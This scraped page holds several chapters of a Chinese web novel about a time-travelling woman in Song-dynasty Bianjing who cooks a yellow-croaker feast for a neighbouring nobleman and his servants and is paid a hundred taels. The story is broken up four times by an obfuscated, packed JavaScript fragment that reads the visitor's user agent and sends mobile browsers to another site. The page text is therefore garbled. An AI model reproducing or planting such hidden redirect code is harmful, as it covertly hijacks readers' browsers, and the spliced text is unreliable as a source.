;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16926584|192745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是一顿能吃完的呀！ 不就是让她再做些别的吃食吗？ 善良的吴大好人在她心里彻底打了个折。 吃人嘴短，拿人手软啊！ 孟嫣将院门打开，林檎欢快地将木桶搬去了厨房。 然后跑回孟嫣面前，笑的见牙不见眼：“孟小娘子，桶里的冰都没化呢！鱼新鲜着呢！” 这是催她做鱼呢！ 孟嫣先将斜挎包放进屋子里，又将腌菜送进厨房，这才过去看那桶鱼。 木盖打开，先是看到一层碎冰，她伸手刨了刨，就出现一条大黄鱼。 真漂亮！ 孟嫣暗暗赞道。 黄鱼通体金黄，这时候还都是野生的，滋味比现代深海养殖的不知鲜了多少倍。 从昨日那碗石首面就能吃的出来。 孟嫣心里的欲哭无泪瞬间散了，摸了摸刚吃饱的肚子，道：“现在就做吧！” 现在做，晚上就能吃上了。 林檎高兴地“哎”了一声，却也没离开，而是问道：“孟小娘子用我帮忙尽管开口就是，我家郎君说了，务必不能累着孟小娘子。” 他拎出一条鱼：“像拾掇鱼这种事，小娘子就别沾手了，这些都交给我来。” 孟嫣一听，立刻喜上眉梢。 吴郎君还是个不打折的大好人！ 孟嫣立刻不客气道：“那林小郎君先将鳞刮了，内脏去了，头顶那块鱼头皮也撕下来，那里太腥。” 孟嫣去拿了个空木盆装拾掇好的鱼，又回堂屋去写食材单子，要再买一些其他食材才是。 鱼太多，不能全做了黄鱼面。 想到腌菜铺子的老坛酸菜，那就再加一道酸菜鱼好了。 除此之外再来个花椒焗黄鱼，黄鱼蛋饺煲！ 孟嫣写完需要的食材和调料，偶然瞥见了桌案上的那包香药果子。 她打开纸包，酸酸甜甜的味道扑鼻而来，拿起一颗放入口中，是陈皮梅子。 孟嫣将陈皮梅子拿到厨房，一边将其以四粒入一小碟，依次排开摆放在厨房中间的菜案上，一边笑吟吟道：“这是昨日吴郎君买的陈皮梅子，林小郎君现在手不便，可以直接用嘴叼着吃。” 正在刮鳞的林檎听后微微一愣，问：“这是我家吴郎君买的？” 孟嫣继续摆着梅子：“是呀。” 原来侯爷昨日买了一包果子，却给了孟小娘子了！ 林檎心中再次委屈起来，忿忿道：“我不吃！”然后就吭哧吭哧继续刮起鱼鳞来。 孟嫣将陈皮梅子摆好，并未发现林檎的异样，转身继续笑吟吟道：“林小郎君将拾掇好的鱼放进木盆前，先把盆底也铺上些碎冰，虽然现在天已经冷了，但能多保住一分鱼鲜就多保一分，辛苦林小郎君了，我再去买些其他食材和调料，今日咱们将这鱼都做了。” 本还忿忿的林檎一听，顿时把果子的事忘了，眉开眼笑道：“小娘子快去，我这边动作也快些，咱们尽早吃到嘴才好！” 孟嫣好笑的笑了笑，这吴郎君主仆倒都是个好吃之人。 她熟门熟路地朝腌菜铺子走去，买了酸菜后，又拐去菜市买了鲜笋、木耳、咸肉等肉蔬，外加葱姜蒜、花椒、茱萸等调料，才慢悠悠回了小甜水巷。 11. 黄鱼“小宴” 孟嫣本想她回来后，也动手和林檎一起拾掇，可没成想，回来后就见厨房里多了两个人。 一个是吴郎君，倚在厨房门边，双臂抱于胸前，看见她回来，朝她点点头算是打了招呼。 另一个就是前日里在糟姜那条街上见过的男子了。 此时男子将手里最后一条小黄鱼扔进木盆，也站起了身。 林檎马屁不要钱地吹了出来：“戍安，你太厉害了！今日起，我拜你为兄！再也不挤兑你了！” 戍安也先朝孟嫣点了点头，这才暼他一眼，习以为常一般，吐出两个字：“滚吧。” 林檎“哎”了一声就滚到了孟嫣面前，殷勤地接过孟嫣手里的东西，开始围着孟嫣打转：“那是戍安，闷葫芦一个，小娘子别见怪，他也是下厨好手，自然，厨艺是不及小娘子的，不过等下可以给小娘子打下手。” 孟嫣都没注意林檎又暗戳戳拍了一个马屁。 她正盯着地上那两盆被碎冰冰着的黄鱼，心下惊呼，这么一桶鱼，就都拾掇完了？ 看来这位戍安是熟手啊！以她和林檎那速度，可是要收拾上一阵子的！ 孟嫣眨了眨眼，看向戍安，那剔骨刺他应该也擅长吧？ 萧遇不知何时站在了她旁边，直接道：“还要做什么，同林檎、戍安说就好。林檎洗菜烧火可以，其他不行。戍安什么都行。” 林檎这次有自知之明，只嘿嘿笑着。 戍安：“孟小娘子有什么尽管吩咐就是。” 孟嫣侧首看了萧遇一眼，觉得他也算不得腹黑，就是爱吃罢了。 孟嫣就不客气了，安排林檎将木耳泡上，酸菜洗两遍去盐，冬笋、葱蒜等剥洗干净。 又去教戍安如何将清洗干净的鱼剔骨除刺、改刀切片，不同的菜改刀方法不同，好在都不难，戍安看一眼就会了，利落地处理起来。 孟嫣又去洗了些粳米蒸饭，有酸菜鱼嘛，自然要有米饭呀！ 那边林檎已经将孟嫣吩咐的事做完，孟嫣就赶他去蒸饭的灶上烧火，她去将已经洗好的冬笋、酸菜等一一切好。 回头一看，吴郎君也站在肉案前，一手拿着刀，一手按着鱼，正在将鱼剔骨、除刺、切、片，动作比戍安还干净利落。 孟嫣看的目不转睛，心底大赞了一声“好”！ 萧遇正好抬眸望来，问道：“春鱼一些做春鱼面，余下的都炸了吧！” 孟嫣朝肉案上看去，已经片好的小黄鱼的确已经够做春鱼面的了，余下的…… 孟嫣：“一部分用来油炸，一部分用来酱烧。这样都无需去头，只在鱼身两面分别斜划一刀就好。” 萧遇颔首，这个简单，一刀而已，戍安也跟着做起来。 孟嫣则去熬煮黄鱼面的汤底。 锅中倒油，油热将鱼骨倒入锅中。 瞬间，响起一阵滋滋啦啦的油爆声，煎鱼的香味也从锅中逸散开来。 萧遇和戍安齐齐顿了顿，随即双双加快了改刀的速度。 林檎闻着味就挪了过来，站在锅边喜滋滋的。 等鱼骨两面金黄，加入葱姜煸炒至鱼骨分碎，香味又浓郁了一层。 林檎吸了吸鼻子，叭叭道：“没想到鱼骨竟也能做来吃，不知味道比之鱼肉如何？” 孟嫣：“……这是熬汤用的……”碎成这样可能不太适合吃。 不过也有香酥鱼骨这个零食，要把鱼骨先炸后烘，烘烤之前刷上蜜汁或椒盐，味道可以，就是吃的时候要小心，毕竟有的骨刺还挺锋利的。 林檎“哦”了一声，兴致不减，还想继续叭叭，就被孟嫣打断：“林小郎君，盛些热水来，熬汤了。” 林檎立刻忘了叭叭，乐颠颠地去取热水。 热水入锅，缓缓翻滚沸腾，汤色渐渐变的奶白，奶白中还带着一丝浅浅的金黄。 蒸气从锅中翻腾而上，鱼汤的鲜香扑鼻而来。 孟嫣嘱咐林檎：“一刻后撤火，拿笊篱把鱼渣捞出去只留汤底。” 林檎重重点头：“小娘子放心吧！交给我了！” 那边萧遇和戍安已经将鱼全部改刀完了，分别装在几只大小不一的碗里。 孟嫣便将碗中的鱼块、鱼片分别加入葱姜、胡椒、盐等调料抓拌均匀腌上片刻。 趁着腌鱼的时间，孟嫣先去做蛋饺。 鸡子打散，油热盛半勺入锅，瞬间蛋香扑鼻。 萧遇和戍安围了过来，对“蛋饺”这个词十分新奇。 林檎一边留意着那锅汤底，一边也凑了过来。 滋滋啦啦声中，蛋液蓬成一只盏窝，在盏窝中加入一小勺调好的鱼馅，再用铲子将盏窝合拢，轻轻按压，一只蛋饺就做好了。 林檎“咦？”了一声：“这和那油煎夹儿长得有几分相像，就是小上许多。” 话少的萧遇和戍安也赞成地点了点头。 后世几乎这个形状差不多的，带有馅料的食物都可以称之为“饺”，像今早那两只“夹儿”，在孟嫣看来就是两只大饺子。 孟嫣做完一只蛋饺，看向戍安。 戍安会意，点点头表示自己会了，就将蛋饺一事接手过去。 戍安和林檎都有事做，只有萧遇闲了下来。 孟嫣眨了眨眼，轻问：“吴郎君可会煎鱼？” 若是往日，萧遇可不会动手做厨事，可今日他见孟小娘子另有方子做鱼，便也想尽快吃到。 萧遇：“孟小娘子做来，我看一遍就是。” 这是不会，但愿意学。 孟嫣便不客气了。 她取了一只平煎锅至置于泥炉上，倒油少许，油热将贴着鱼骨片成两片的春鱼微煎即可。 萧遇看了一眼不觉得多难，比剔骨容易多了，便接了过去。 孟嫣瞄了一眼，见其动作纯熟，放心的去做第一道菜——酱烧小黄鱼。 其实这几道菜做起来都很简单，不过备菜时间长些罢了，菜蔬备齐，每道菜不过是几分钟的事。 而今日直到现在，她除了切了个菜和熬了锅汤，其他最复杂的事都交给三个男人去做了！ 自然，这也得益于原身的厨房。 别看厨房不大，但灶和锅多呀！ 灶上有五口大小不一的双耳铁锅，此外还有单独的泥炉，用以放砂锅、平煎锅、茶铫、小甑等。 若是锅灶少，只能做完一道菜盛出放入锅里温着，才能再做下一道，哪里能一边熬煮汤底，一边做蛋饺，另一边又煎鱼？ 孟嫣一边感慨，一边将小黄鱼下锅。 酱烧小黄鱼做法很简单，味道却不简单，只需将鱼两面煎至金黄，加入姜蒜用底油爆香，再倒入少许开水和酱油，收汁后撒些蒜叶即可。 此刻，酱烧小黄鱼的酱鲜味也逸散出来。 厨房里蛋香、煎鱼香还有酱烧香混合纷杂在一起，引得林檎不住的吸鼻子，不停地跟在孟嫣后面打转。 蛋饺和煎鱼都已经做好，孟嫣又多取了一只炭炉，一只用来做砂锅蛋饺煲，一只用来做花椒焗黄鱼。 砂锅中姜片爆香，加入咸肉翻炒出香味，这一瞬，厨房里飘荡出除了鱼香之外的咸香味道。 林檎咽了咽口水，眼睛眨也不眨地蹲在旁边看。 孟嫣则将焯好的冬笋和木耳倒入锅中翻炒，加热水煮沸。 因为有咸肉自带的咸鲜，调味 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16926585|192745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只简单放少许胡椒即可，最后再将蛋饺铺在上面，小火煮上片刻就完成了。 萧遇三人不知何时围了过来，孟嫣扫了一眼，嘴角抽了抽，看向林檎：“鱼渣可捞出去了？” 林檎一拍脑袋，“蹭”地一下蹿了出去，嘴里念念叨叨地去捞鱼渣。 与此同时，另一只砂锅已经爆出一阵葱油和姜蒜的辛香。 林檎伸着脖子瞄了瞄，见砂锅被侯爷和戍安挡的严严实实，只好叹息一声继续捞鱼渣。 这边的整个砂锅锅底被白葱头、姜块和整颗蒜瓣铺满，滋滋啦啦地蹦着油花，孟嫣将切成块状的大黄鱼一块一块码放进去。 鱼已经提前用盐腌过，无需放任何调料，只需盖上盖子，沿着锅边淋一圈米酒增香就好。 孟嫣抬头看见目不转睛的吴郎君和戍安二人，最后还是看向戍安：“一炷香后，戍郎君把这碟花椒撒入锅内，盖上盖子再从一数到六十，就可以撤火了。” 戍安颔首。 叮嘱之后，孟嫣要做最后一道菜——酸菜鱼！最最后再做个黄鱼面，就可以开饭了！ 酸菜鱼前面的做法也需要先煎鱼骨，不过无需像黄鱼面那样将鱼骨捣碎，煎过的鱼骨在酸菜鱼里也是很香的！ 锅中热油，倒入鱼骨，煎至金黄后加入姜片，待姜的味道被激发出来后同样加入开水。 林檎已经捞完鱼渣，殷勤的过来烧火，无所事事的萧遇则站在一旁观看。 林檎“咦”了一声：“这和刚刚那锅汤的做法不是一样吗？” 孟嫣点头：“不过这锅的鱼骨可以吃，那锅不太能吃。” 太碎，成渣渣了。 林檎“哦”了一声，讪讪笑了笑。 刚刚他在捞鱼渣时，在里面捡了一粒金黄的肉渣尝了尝，其实还挺好吃的。 趁着煮汤的间隙，孟嫣又去煸炒酸菜。 锅中倒油，油热下葱姜茱萸和花椒爆香，滋滋啦啦声中，一阵浓郁的椒麻辛辣味道蹿了出来。 孟嫣有心里准备，早就以拳抵住了鼻孔，其他三人就没这么幸运了，被呛的咳嗽不停。 孟嫣有几分心虚，歉然笑笑，就利落地将酸菜倒入了锅中翻炒。 椒麻辛辣的味道淡了几分，却也又多了酸菜的醇厚酸香。 这时，锅中加少许热水，将酸菜熬煮片刻，将其醇后的酸味彻底激发出来，直到将水煮干，再将刚煮的鱼汤倒进来。 汤白滚沸，酸香麻辣裹着鱼汤的鲜味飘散出来，竟惹的几人食欲大开。 三人都围了过来。 林檎和戍安不由自主地吞了吞口水，萧遇喉结也上下滚动，只觉这一桶鱼死的值了！ 酸菜鱼用了三条石首，孟嫣取了只大汤海碗，先将锅里鱼骨、酸菜捞出到碗中，又吩咐林檎加火。 鱼汤再次滚沸，孟嫣将腌制好的鱼片下入锅中，用勺子慢慢轻推几次，鱼肉翻卷，让林檎撤火。 撤火后将鱼肉盛出，最后将一锅鱼汤全部倒进了大汤海碗中。 就当三人以为这道菜结束了的时候，孟嫣却又取出一把花椒茱萸撒在上面，在和大锅共灶的小锅里倒油，油热后，全部泼在了海碗里的花椒茱萸上。 滋滋啦啦的声音止息后，林檎喃喃出声：“这道菜……做好了？” 孟嫣笑着点了点头：“再做完春鱼面，就可以用饭了。” 这时三人才想起，他们今日的目的是春鱼面啊！ 春鱼面的汤底和煎鱼都已备好，只需再将雪菜炒香加入汤底熬煮片刻，浇在煮好的面和煎鱼上即可。 孟嫣本以为要晚上才能吃上的这顿黄鱼“小宴”，没想到晌午就能吃上了！ 12. 得银百两 几人落座，谁都没有废话，筷子翻飞埋头大快朵颐起来。 花椒焗黄鱼色泽金黄油亮，暗红的花椒粒点缀其间，散发出阵阵椒香，一口下去，除了鱼肉自有的鲜味，还有一丝丝极其细微的椒麻，只引得人想再吃一口。 花椒鱼似乎十分合三个男人胃口，一条鱼很快就被瓜分殆尽。 在三人开始瓜分下一道菜时，孟嫣却在对付一条酱烧小黄鱼。 小黄鱼味道并不复杂，只有酱油和黄鱼烧煮的鲜味，鱼肉口感细嫩，虽然是整条小鱼烧制，却十分入味。 就是小刺太多…… 孟嫣最不会吐刺了…… 等她终于细致地吃完一条，抬头看去，酸菜鱼已经下去了大半，蛋饺煲里只躺着三只蛋饺和两片冬笋还有一朵小木耳，而三人的春鱼面碗已经空了…… 孟嫣：…… 萧遇暼见她震惊又呆滞的目光，咀嚼的动作顿了顿，咽下后朝蛋饺砂锅抬了抬下巴，十分“体贴”道：“留给你的。” 孟嫣缓缓回神，复杂的神色中带着一丝欣慰，这丝欣慰来自于他们对她厨艺的认可。 她弯起眼睛缓缓笑了，用公筷夹过一只蛋饺。 蛋饺软嫩，虽用咸肉炒制的底味，其实是很清淡的味道，加上冬笋和木耳，只觉清鲜。 孟嫣将留给她的“三二一”都吃进了肚子，这才夹了一筷子酸菜鱼。 酸菜鱼的味道其实是有些微微遗憾的。 不是说不好吃，而是少了一味灵魂味道——泡椒！ 可这时候还没有辣椒，更别说泡椒了。 好吃的泡椒并非只有咸辣味道，一定要有泡椒独特的鲜爽感，无论是用来做泡椒凤爪、泡椒猪鱼皮，还是泡椒鲜笋、脆藕，抑或爆炒鸡牛鱼羊、心肝肚肺，这种味道都会让人欲罢不能，特别上头。 而今日这道酸菜鱼，孟嫣也只能用有辛辣味道的茱萸来增加一丝辣味了。 可茱萸炒制的辛辣和泡椒的区别就是少了那丝鲜爽感。 前者辣味沉厚，后者辣味清濯，清濯的辣味搭配上酸菜的脆爽才能将酸菜鱼的味道彻底激发、升华，即便没什么食欲的时候，只闻其味都能让人口舌生津、食欲大开。 孟嫣心底又遗憾地幽幽叹息一声。 再抬头时，却见萧遇三人吃的筷箸不停，一个比一个夹的快，最终整整一大海碗酸菜鱼只剩汤汁底料时，萧遇还去盛了一碗粳米饭，在饭上淋了一勺汤汁！ 林檎有样学样，吃的眼睛一亮再亮。 大概见三人吃的太香，她虽快不过三人夹菜的速度，却也比平日里吃东西大口了许多，连和不熟悉的人一起吃饭的不自在都没了。 风卷残云后，三人郑重道谢，起身告辞，孟嫣刚张了张嘴，就已经不见了三人的影子。 孟嫣：…… 都帮忙洗菜片鱼了，就不能再帮忙洗洗碗吗？ 孟嫣目光幽幽地望向门口，最后又转向食案，挣扎了一下，还是吭哧吭哧地把碗碟搬去了厨房。 找了一圈，在储物的柜子里看见一只竹篮，里面放了皂荚，可以用来洗衣洗碗。 取出几只皂荚捣碎，煮上一刻钟。 趁这个时候，孟嫣又将鱼骨这些泔渣倒入专门的泔水桶里，泔水则和粪秽一样，有专门的人来收。 等皂荚水煮好，就吭哧吭哧地洗起碗来。 洗碗水不能直接倒进泔水桶，只能倒进院子后面的渗井里。 用皂荚水洗完第一遍，孟嫣就吭哧吭哧地将洗碗水端去后面倒掉。 洗碗用的盆是木盆，木盆自身的重量就已经足够重，里面再装着水，一趟下来，孟嫣只觉得腰快断了。 可这碗还要再洗两遍，她还要再跑两趟才行。 孟嫣欲哭无泪，却也只能一鼓作气咬牙搬盆，并心下暗道，下次别说十两银子，就是给她一百两银子，她也不答应给吴郎君再做什么菜了！ 终于，碗洗完了，厨房也都打扫干净了。 孟嫣长吁一口气，刚准备歇上一会儿，院中就传来了动静。 出去一看，是上午从布店买的两匹素绢送来了。 孟嫣又长叹一声。 古时用物虽多为天然，却也还是要清洗一翻。 刚想歇一会儿的孟嫣，只能再一次吭哧吭哧地去了厨房。 厕纸于她而言，算是一桩大事了！ 现在天气渐冷，今日洗后定然干不了，不过无碍，湿厕纸也是一样的。 再次将皂荚煮上，又将绢布裁下一片清洗。 今日她来来回回搬了好几趟水，实在没多余的力气将两匹布都洗了，只能先洗出够几日用的“厕纸”，其他的等她歇过来再说。 孟嫣不由得哀叹，要是有洗衣机就好了。 想到洗衣机，孟嫣不由得一顿，这两日换下的衣物还都堆放在衣篓呢…… 孟嫣不知第几次叹气，明日还是请个浣洗衣物的人吧，她这副身子骨真是折腾不动呀！ 终于，绢布清洗干净了。 孟嫣将其晾晒好后，垂着发酸的后腰往屋里走，她要去睡一下。 经过堂屋，余光忽而瞟到书案上放着一个陌生的布包，她不记得书案上有这个东西。 孟嫣狐疑地走过去，打开来看，竟是整整一包银子！ 她数了数，五两一个的小银锭，足足有二十个，这是……一百两银子！一百贯钱！ 不用想，定然是吴郎君给的了。 这一刻，孟嫣觉得腰好像也没那么酸了。 刚刚还暗道给一百两也不会再做饭的孟嫣，此刻抱着银子眉开眼笑。 就是……会不会给的太多了？毕竟刚刚她也只是洗碗洗的欲哭无泪随口抱怨罢了。 孟嫣默默将二十个银锭摸了个遍，最终还是决定还回去，不然难以心安。 孟嫣抱着银子刚要起身，腰又隐隐有要断的感觉。 这包银子看着不大，也比木盆轻了不少，却也有七八斤重。 她默默将银子放下，出了堂屋，走到东墙下，提高声音唤了一声“吴郎君”。 虽然孟嫣已经尽力高声，声音其实还是轻轻柔柔的。 一墙之隔的萧遇主仆三人正在闲适饮茶，想着孟小娘子用不了几日，应该就会去雇觅女使了。 毕竟她家境殷实，自小就有仆婢，定然做不来洗碗洗锅这种事，否则之前何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16926586|192745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 必请孙家妇人照顾她的饮食起居？ 一声“吴郎君”打断了三人的闲适，林檎嘿嘿一笑：“会不会请咱们帮忙来了？” 萧遇不置可否，起身出了门去。 孟嫣觉得可能自己声音太小，对方没听见，正要再唤一声，就见吴郎君从东墙上冒出头来。 孟嫣笑笑，径直开口：“吴郎君前日里已经给了十两银子，今日我只花了些菜蔬钱，吴郎君实在不必再给一百两，还是差林檎拿回去吧。” 正要也爬墙头的林檎听到此话一个趔趄摔了回去。 侯爷给的也太多了吧！都没一次性给过他这么多赏钱呢！ 林檎又想到了那包香药果子，虽然最后那一排都入了他的肚子，却还是止不住的心里冒酸，目光又变得委屈幽怨起来。 萧遇却道：“孟小娘子的厨艺并不比京中顶级厨娘差，何况今日在厨房，我观孟小娘子也是精通四司六局之人，若去别府，自然也当得此酬，此次只给百两，只因是小宴而已。” 孟嫣张了张嘴，一时说不出话，吴郎君把她吹的可太高了。 精通四司六局之人，是能操办从市井便宴到官宦大宴的各类筵席，不仅熟悉宴席的规格、流程，更要知晓宴席的礼仪，从而来烹制菜品和搭配茶酒，得是统筹能力极强之人。 若是吹她厨艺，她尚且可以闭眼接受，可吹她精通四司六局，她就十分心虚了。 她只不过是在做菜时见他们谁闲着就给谁安排了事情而已，还真算不上统筹。 何况，那些厨娘烹饪完也会跟着主家一起用饭？ 可她向来不会强辩，仰着脑袋呆呆地看着萧遇，问：“那置办一场大宴要给多少钱？” 萧遇见她这副憨呆呆的样子，眉心忽地一跳，骤然想到了她的字。 当时只觉她那字丑的他眼睛疼，现在却觉得字如其人，也憨呆呆的。 他几不可察地抽了抽嘴角，道：“二百到三百贯不等。” 孟嫣缓缓眨了眨眼睛，小宴通常十人以下，也没那么多讲究，多数都是主家想吃什么，厨娘就做什么。 这样的话，好像一百两银子就是市价？ 宋时的厨娘也太值钱了吧！ 呆呆地孟嫣缓缓傻笑起来。 萧遇眉心又跳了跳，丢下一句“孟小娘子安心收着就是。”随即消失在墙后。 孟嫣傻笑了一会儿，立刻飞奔回去，将银子收进箱笼，美滋滋地歇着了。 孟嫣美滋滋了，林檎却又忿忿了。 侯爷竟然给了孟小娘子一百两银子！从来没给过他这么多！他自小跟在侯爷身边！这么多年来，竟比不过一个商户的小娘子！还把买给他的果子也给了她！ 林檎忿忿地跟在萧遇身后絮絮叨叨，萧遇额角抑制不住地跳了跳。 这玩意儿什么时候开始这么爱絮叨的？ 萧遇一边听着林檎絮叨，一边努力回想，无果后，趁着林檎换口气的间隙，淡声问了一句：“鱼不好吃？” 林檎闭嘴了。 想到那几道菜的味道，瞬间喜滋滋起来：“孟小娘子什么时候买女使！只要把我买去，我就可以天天吃孟小娘子做的菜了！” 13. 羊辣羹 话音刚落，迎面砸来一个布包。 林檎敏捷地接住，掂了掂，看向自家侯爷：“这是什么？” 萧遇：“给你的衣裳。” 林檎喜笑颜开：“侯爷你让人给我做的衣裳？” 说着打开布包，赫然是一套女子的短襦布裙！ 林檎面色一变，露出又屈辱又委屈的神色，侯爷怎么能这么糟践他呢？让他穿女人的衣裳！ 林檎无声地控诉着。 萧遇：“扮女使的衣裳。” 林檎委屈的神色渐收，却还是觉得屈辱。 萧遇看着他这副熊样，只觉得额角直跳，这玩意儿究竟什么时候变成这样的？ 他没好气道：“难不成你要穿成现在这样去给人家当女使？你是觉得孟小娘子男女不分吗？” 林檎的屈辱瞬间消散。 他将衣裳拿起来比了比，觉得还挺合身，去屏风后面换了。 只是好一会儿都没出来。 萧遇和戍安对视一眼。 戍安起身悄声绕过屏风，冷不丁出现在林檎面前，吓了林檎一跳。 随即屏风后响起林檎忿忿的声音：“不许笑！” 戍安背过身去，肩膀抖动。 萧遇也大步过来，见到林檎这副样子额角又跳了跳。 并不是林檎穿上这身衣裳有多丑，相反还挺清秀，除了脸黑一些。 林檎今年不过十七，身子骨还没长开，若是不看那张脸，还真看不出是个男子。 但现在林檎那张黑黢黢的脸上，挂着那副既屈辱又娇羞还扭捏的模样，就像萧遇第一次看到孟嫣的字一样，眼睛疼。 萧遇闭了闭眼，丢下一句：“把他眉毛剃一剃，喉结遮上。” 说完刚要离开，又补了一句：“脸上涂点粉。” 刚要抬步，再次补了一句：“涂厚点！” 这次说完绕过屏风出去了。 等林檎终于从屏风后面出来时，已经看不出他本来的模样，眉毛弯弯，眸光盈盈，面白如壁，颧骨晕着两坨霞红。 萧遇额角再次跳了跳，正要同戍安问上一句：“谁家女使化成这样？” 就见林檎缓缓撅起了嘴，然后人中那里一块厚厚的粉缓缓落了下来。 萧遇：…… 林檎：“侯爷，我实在没托住……” 话音刚落，那两坨霞红也簌簌地开始掉渣…… 戍安又背过身去，肩膀抖了起来。 良久，戍安忍着笑道：“侯爷，林檎他实在太黑了，得多涂粉，可他这张皮又太干了，粉都挂不住，我就掺了些水，没想到都结块了。” . 孟嫣醒来的时候，想到箱笼里多出的一百两银子，兀自傻笑了一会儿。 看看外面天色还早，不如去趟牙行，请个浣衣洗物的人，这样明日起，她就可以去吃遍汴京城了！ 想到这里，孟嫣立刻起身下床，整理了一下衣衫，带上她的斜挎包就出了门。 牙行距离孟嫣住的小甜水巷并不远，出了巷子再过两条街就是。 到了牙行，一位王姓牙婆热情地迎了上来。 孟嫣说明来意时，王牙婆却为难道：“小娘子若是早来上几日，或许还有做这临时浣衣洗物的人，可现下眼瞅着就立冬了，家家户户都忙着储备冬菜，准备棉衣厚鞋，修补门窗，搭建火阁，都为过冬做准备呢，这临时浣衣洗物的可就没人做了。” 孟嫣第一次知道，这时的百姓过冬要准备这么长时间。 可转念一想，就明白了，这时候百姓又不像那些高门大户，有保暖的御寒衣物，有怎么用都不心疼的炭火，有坚固华丽不透风的屋舍，自然要细细准备。 孟嫣想了想，问：“那忙过这一阵呢？” 王牙婆“哎呦”一声，接着道：“等准备完这些就到了冬月了呀！这时候又要为冬至做准备，过了冬至没几日就到了腊月了，腊月更了不得，只会更忙，因为准备过年了呀，就更不可能有临时浣衣洗物的人了。” 孟嫣张了张嘴，难道她今年之前都请不到人了？ 王牙婆暗暗观察着孟嫣，试探道：“小娘子不若雇个长契的？给口饭吃，给张榻睡，春夏秋冬再各管两身衣裳，一个月只需一千五百钱，这样人家家里也就少备一份口粮菜蔬、棉衣柴炭。同样的，也就不用多备一个人过冬的物事了，自然就可以去别家宅府里做女使。” 孟嫣沉默了。 雇一个长契女使的确不贵，也就是孙婶婶月钱的一半。 可是她是一个人独居，对这里又不熟悉，让女使住进来，用不了几日，定然就会知道她在这里举目无亲。 若是那女使是个心术不正之人，起了什么歹意，只图钱财还好，就怕她伙同他人用什么见不得人的手段，把她卖到勾栏瓦舍、甚至妓馆，到时候别说什么吃遍汴京城了，这不得被汴京城吃了？ 孟嫣哆嗦了一下，讪讪地笑了笑：“多谢王妈妈了，我回去想想。” 王牙婆见孟嫣走远了，才舒了一口气，摸了摸袖袋里的银子，笑眯眯出了牙行朝小甜水巷走去。 那边孟嫣离开牙行后，又重重叹息一声，她不过是想找个浣衣洗物的人，没想到竟然没找到。 难道真的要等到明年吗？这三个月的衣服都自己洗？ 她不是没自己洗过衣服，被从奶奶家接回，又送到寄宿学校后，一直也都是自己洗衣服，直到毕业工作后，才解放了双手。 可在这里洗衣，在有水的情况下，要先熬煮洗衣液，也就是煮皂荚，然后洗完还要将水倒去后院的渗井，木盆沉重，她现在这副身子骨搬起来真的有几分吃力。 孟嫣一时又惆怅起来，要不明日去杂货铺子多买个瓢？专门用来一瓢一瓢往后院渗井倒水？ 正没想出个头绪时，一抬头，就看见了一家门头十分热闹的食店。 这家食店门前用木架子搭起红红绿绿的彩棚，彩棚下面挂着成排的半扇猪羊，乍一看去，蔚为壮观。 食店门前立着一块和现代灯箱差不多样式的暖黄招牌，上面写着“贾家瓠羹”。 原来是一家瓠羹店，开始还以为是肉铺呢！ 门前伙计看见孟嫣，立时招呼道：“小娘子，进来吃碗瓠羹？” 孟嫣见店里食客满座，还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16926587|192745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不少食客陆续进店，想来味道应该不会差，正好现在她也感到有些饿了。 孟嫣顿时将什么洗衣、木盆、瓢之类的抛诸脑后，欢快地进了店。 这家店比周家南食店大上许多，除了一层散座，还有二层雅间。 从二层望出去，正好可以看见州桥夜食的灯火荧煌，上下相照。 瓠羹店是以瓠瓜为主料，做成了各种素羹或肉羹。 时下汴京人对瓠瓜的喜爱，从食店的食客满座就可以看出来。 孟嫣从没吃过瓠瓜，只知道“瓠”是葫芦的一种，而她对葫芦的了解，仅限于葫芦瓢和葫芦娃。 孟嫣在一处角落落座，要了一份羊辣羹和一份煎肉蝴蝶面。 等候的间隙，就见一个小贩挑着担子给每桌食客发一包荷叶包着的什么东西。 有的食客笑笑摸出钱来递到小贩手里，有的食客则摆了摆手，小贩又将其桌上的这包东西收回。 走到孟嫣这里时，小贩也同样放了一包。 